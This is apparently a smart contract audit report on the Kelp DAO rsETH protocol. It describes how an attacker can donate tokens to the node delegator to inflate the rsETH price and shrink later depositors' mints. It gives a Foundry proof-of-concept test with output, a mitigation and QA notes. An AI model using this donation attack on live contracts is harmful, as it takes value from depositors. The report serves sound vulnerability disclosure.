Kelp DAO | rsETH - SandNallani's results

Lines of code

https://github.com/PFAhard/2023-11-kelp/blob/670aa2b7748d5a3969881758bd36155d1ce4c4e7/src/LRTDepositPool.sol#L119

Vulnerability details

Impact

Depositors could be subjected to a price manipulation of the RSETH tokens if a malicious actor donates a large sum of the approved assets (rETH,cbETH or stETH) either to the deposit pool or the node delegator contracts.

Proof of Concept

In Kelp protocol, users are allowed to deposit approved LST tokens to receive an amount of rseth tokens. The amount of rsETH tokens to be minted is inversely proportional to how the oracle contract values its price as shown below.

If the denominator could be artificially inflated by a malicious actor, the depositor would receive a smaller amount of rseth tokens.

function getRsETHAmountToMint(){ ...
    rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice();
...}

To confirm this please consider the following test labeled PriceManpulation.t.sol. Place this test file in the test folder. In the setUp function we first deploy and configure all the contracts. Following which we test the hypothesis where Alice receives significantly less rsETH tokens on her second attempt of depositing assets (reth) into the deposit pool.

Upon Alice's first deposit transaction, initial supply of rsETH is zero, hence the oracle contract returns 1 ether as the price, and she receives the correct amount of minted rseth tokens.

//LRTOracle.sol
        if (rsEthSupply == 0) {
            // console.log("rsEthSupply == 0");
            return 1 ether;
        }

Meanwhile, Bob's an attacker who donates assets to the node delegator contract in order to artificially inflate the price of the rsETH tokens.

In this case, when Alice attempts to deposit the same number of reth tokens in the deposit pool, she consequently receives significantly less rsETH tokens.

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.21;
import { LRTConfigTest, ILRTConfig, LRTConstants, UtilLib } from "./LRTConfigTest.t.sol";
import { NodeDelegator } from "src/NodeDelegator.sol";
import { BaseTest, MockToken } from "./BaseTest.t.sol";
import { LRTConfig, ILRTConfig } from "src/LRTConfig.sol";
import { LRTOracle } from "src/LRTOracle.sol";
import { LRTConstants } from "src/utils/LRTConstants.sol";
import { UtilLib } from "src/utils/UtilLib.sol";
import { TransparentUpgradeableProxy } from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import { ProxyAdmin } from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
import { LRTDepositPool } from "src/LRTDepositPool.sol";
// import { RSETHTest, ILRTConfig, UtilLib, LRTConstants } from "./RSETHTest.t.sol";
import { RSETH } from "src/RSETH.sol";
import { IERC20 } from "@openzeppelin/contracts/interfaces/IERC20.sol";




contract PriceManipulation is BaseTest {

        LRTConfig public lrtConfig;
        LRTOracle public lrtOracle;
        //  LRTOracleMock public lrtOracle; 
        LRTDepositPool public lrtDepositPool;
        NodeDelegator public nodeDel;
        address public rETHAddress;
        address public stETHAddress;
        address public cbETHAddress;
        RSETH public rseth;
        event AssetDepositLimitUpdate(address asset, uint256 depositLimit);
        event RemovedSupportedAsset(address asset);

        address public manager;
        address public rsethMock;



    function setUp() public virtual override(BaseTest) {
        super.setUp();


        manager = makeAddr("manager");
        rsethMock = makeAddr("rsethMock");
        rETHAddress = address(rETH);
        stETHAddress = address(stETH);
        cbETHAddress = address(cbETH);
        //rsETH setup 
        ProxyAdmin proxyAdmin = new ProxyAdmin();

        RSETH tokenImpl = new RSETH();
        TransparentUpgradeableProxy tokenProxy = new TransparentUpgradeableProxy(
            address(tokenImpl),
            address(proxyAdmin),
            ""
        );

        rseth = RSETH(address(tokenProxy));

        //Setup the Config
        LRTConfig lrtConfigImpl = new LRTConfig();
        TransparentUpgradeableProxy lrtConfigProxy = new TransparentUpgradeableProxy(
            address(lrtConfigImpl),
            address(proxyAdmin),
            ""
        );

        lrtConfig = LRTConfig(address(lrtConfigProxy));
        lrtConfig.initialize(admin, address(stETH), address(rETH), address(cbETH), rsethMock);

        //Setup the Oracle 
        LRTOracle lrtOracleImpl = new LRTOracle();
        TransparentUpgradeableProxy lrtOracleProxy = new TransparentUpgradeableProxy(
            address(lrtOracleImpl),
            address(proxyAdmin),
            ""
        );

        lrtOracle = LRTOracle(address(lrtOracleProxy)); //MockOracle doesn't need to be initialized
        lrtOracle.initialize(address(lrtConfig));

        //Setup the depositor pool 
        LRTDepositPool contractImpl = new LRTDepositPool();
        TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy(
            address(contractImpl),
            address(proxyAdmin),
            ""
        );

        lrtDepositPool = LRTDepositPool(address(contractProxy));
        lrtDepositPool.initialize(address(lrtConfig));

        // initialize RSETH. LRTCOnfig is already initialized in RSETHTest
        rseth.initialize(address(admin), address(lrtConfig));

        //setup nodedelegator
        NodeDelegator nodeDelImpl = new NodeDelegator();
        TransparentUpgradeableProxy nodeDelProxy = new TransparentUpgradeableProxy(
            address(nodeDelImpl),
            address(proxyAdmin),
            ""
        );

        nodeDel = NodeDelegator(address(nodeDelProxy));
        nodeDel.initialize(address(lrtConfig));
        address[] memory nodeDelegator = new address[](1);
        nodeDelegator[0] = address(nodeDel);

        vm.startPrank(admin);
        // add rsETH to LRT config
        lrtConfig.setRSETH(address(rseth));
        // add oracle to LRT config
        lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(new LRTOracle()));
        lrtConfig.setContract(LRTConstants.LRT_DEPOSIT_POOL, address(lrtDepositPool));
        // add minter role for rseth to lrtDepositPool
        rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool));

        //grant manager role
        lrtConfig.grantRole(LRTConstants.MANAGER, manager);

        //Setup node managers 
        lrtDepositPool.updateMaxNodeDelegatorCount(5);

        lrtDepositPool.addNodeDelegatorContractToQueue(nodeDelegator);

        lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(lrtOracle));

        vm.stopPrank();
        //Update the deposit limits for all the assets
    
        vm.startPrank(manager);
        lrtConfig.updateAssetDepositLimit(rETHAddress, 1000 ether);
        lrtConfig.updateAssetDepositLimit(stETHAddress, 1000 ether);
        lrtConfig.updateAssetDepositLimit(cbETHAddress, 1000 ether);
        vm.stopPrank();

    }

    function test_AliceDepositsTokens() external {

        uint256 aliceBalanceBefore = rseth.balanceOf(address(alice));
        assertEq(rETH.balanceOf(alice), 1000 ether);

        //Alice receives a normal amountof rsETH before price manipulation
        vm.startPrank(alice);
        rETH.approve(address(lrtDepositPool), 4 ether);
        uint256 rsETH_MintedBeforeManipulation = lrtDepositPool.depositAsset(rETHAddress, 2 ether);
        uint256 aliceBalanceAfter = rseth.balanceOf(address(alice));
        assertEq(aliceBalanceAfter, 2 ether);
        vm.stopPrank();

        //Bob's an attacker who donates assets to the node delegators directly
        vm.startPrank(bob);
        rETH.transfer(address(nodeDel), 996 ether);
        stETH.transfer(address(nodeDel),1000 ether);
        cbETH.transfer(address(nodeDel),1000 ether);
        vm.stopPrank();

        //Alice receives significantly less rsETH due to the price manipulation by Bob
        vm.startPrank(alice);
        uint256 rsETH_MintedPostManipulation = lrtDepositPool.depositAsset(rETHAddress, 2 ether);
        assertGt(rsETH_MintedBeforeManipulation,rsETH_MintedPostManipulation);

        emit log_named_uint("rsETH minted to Alice before the price manipulation", rsETH_MintedBeforeManipulation);
        emit log_named_uint("rsETH minted to Alice before the price manipulation", rsETH_MintedPostManipulation);

        vm.stopPrank();
    }

}

  rsETH minted to Alice before the price manipulation: 2000000000000000000
  rsETH minted to Alice before the price manipulation: 1333333333333333

Tools Used

Foundry Manual Analysis

Recommended Mitigation Steps

To avoid the case where a price manipulation could be possible, instead of checking the asset balance of the contract, please consider using state variables, which are only updated in response to a deposit. And using the state variables to confirm the price of the rsETH token. This would prevent such an attack, as any donation of funds by attackers would have no impact on the minted amount of rsETH tokens.

Assessed type

Oracle

[QA-1] Inconsistent use of the whenNotPaused modifier in the Oracle and Deposit pool contracts

The Oracle contract inherits and implements functions to pause and unpause. However, the whenNotPaused modifier is not applied to any of the functions in this contract.

In the node delegator contract, when paused, cannot transfer assets back to the deposit pool. However, the deposit pool contract is able to transfer funds to the node delegator when paused.

Consider removing the capability to pause/unpause the Oracle contract as it's not being used in the current version of the contract. Consider preventing the transfer of assets from the deposit pool to node delegator when paused, for better consistency.

[QA-2] The node delegator contract doesn’t track the number of shares created by the Eigen stragety.

The node delegator contract's responsible for depositing the user's deposit pool funds into various Eigenlayer strategies. Shown below is the function that performs this task.

NodeDelegator::depositAssetIntoStrategy()
//NodeDelegator.sol
function depositAssetIntoStrategy(address asset){ 
...
emit AssetDepositIntoStrategy(asset, strategy, balance);

IEigenStrategyManager(eigenlayerStrategyManagerAddress).depositIntoStrategy(IStrategy(strategy), token, balance);
...    
}

However, the number of shares minted by the Eigenlayer strategy aren't tracked or emitted as an argument in the event AssetDepositIntoStrategy. Consider checking the number of shares minted to ensuring that there's no adverse price impact and emitting it in the event to allow for off-chain accounting.

[QA-3] The deposit pool's depositAsset() function could return the number of minted tokens

The main entry point in the Kelp protocol is the LRTDepositPool::depositAsset(). Which allows users to deposit approved assets into the pool to receive an amount of rsETH tokens. The minted rsETH tokens represent the user's underlying asset contribution of rETH, cbETH or stETH. If the user's a smart contract that intends to track the user's minted shares, it would be beneficial to return the value of the minted rsETH tokens.

Consider returning the minting rsETH tokens by modifying the deposit function as follows.

    function getRsETHAmountToMint(
        address asset,
        uint256 amount
    )
        public
        view
        override
        returns (uint256 rsethAmountToMint) {
        ...
        rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice();
      }